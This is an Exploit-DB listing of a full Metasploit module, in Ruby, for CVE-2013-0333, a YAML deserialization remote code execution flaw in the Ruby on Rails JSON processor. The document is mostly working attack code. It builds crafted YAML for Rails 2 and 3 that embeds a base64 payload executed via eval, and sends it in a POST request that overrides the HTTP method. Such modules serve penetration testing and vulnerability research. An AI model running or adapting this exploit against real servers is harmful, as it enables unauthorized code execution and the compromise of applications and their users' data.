Exploit-DB #24434
Description: Ruby on Rails - JSON Processor YAML Deserialization Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2013-01-29
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::CmdStagerTFTP
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution',
			'Description'    => %q{
					This module exploits a remote code execution vulnerability in the
				JSON request processor of the Ruby on Rails application framework.
				This vulnerability allows an attacker to instantiate a remote object,
				which in turn can be used to execute any ruby code remotely in the
				context of the application. This vulnerability is very similar to
				CVE-2013-0156.

				This module has been tested successfully on RoR 3.0.9, 3.0.19, and
				2.3.15.

				The technique used by this module requires the target to be running a
				fairly recent version of Ruby 1.9 (since 2011 or so). Applications
				using Ruby 1.8 may still be exploitable using the init_with() method,
				but this has not been demonstrated.

			},
			'Author'         =>
				[
					'jjarmoc',  # Initial module based on cve-2013-0156, testing help
					'egypt',    # Module
					'lian',     # Identified the RouteSet::NamedRouteCollection vector
				],
			'License'        => MSF_LICENSE,
			'References'  =>
				[
					['CVE', '2013-0333'],
				],
			'Platform'       => 'ruby',
			'Arch'           => ARCH_RUBY,
			'Privileged'     => false,
			'Targets'        =>	[ ['Automatic', {} ] ],
			'DisclosureDate' => 'Jan 28 2013',
			'DefaultOptions' => { "PrependFork" => true },
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
				OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])

			], self.class)

	end

	#
	# Create the YAML document that will be embedded into the JSON
	#
	def build_yaml_rails2

		code = Rex::Text.encode_base64(payload.encoded)
		yaml =
			"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
			"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
			"eval(%[#{code}].unpack(%[m0])[0]);' " +
			": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n   " +
			":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n     :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
			":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
		yaml.gsub(':', '\u003a')
	end


	#
	# Create the YAML document that will be embedded into the JSON
	#
	def build_yaml_rails3

		code = Rex::Text.encode_base64(payload.encoded)
		yaml =
			"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
			"'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
			": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
		yaml.gsub(':', '\u003a')
	end

	def build_request(v)
		case v
		when 2; build_yaml_rails2
		when 3; build_yaml_rails3
		end
	end

	#
	# Send the actual request
	#
	def exploit

		[2, 3].each do |ver|
			print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")
			send_request_cgi({
				'uri'     => normalize_uri(target_uri.path),
				'method'  => datastore['HTTP_METHOD'],
				'ctype'   => 'application/json',
				'headers' => { 'X-HTTP-Method-Override' => 'get' },
				'data'    => build_request(ver)
			}, 25)
			handler
		end

	end
end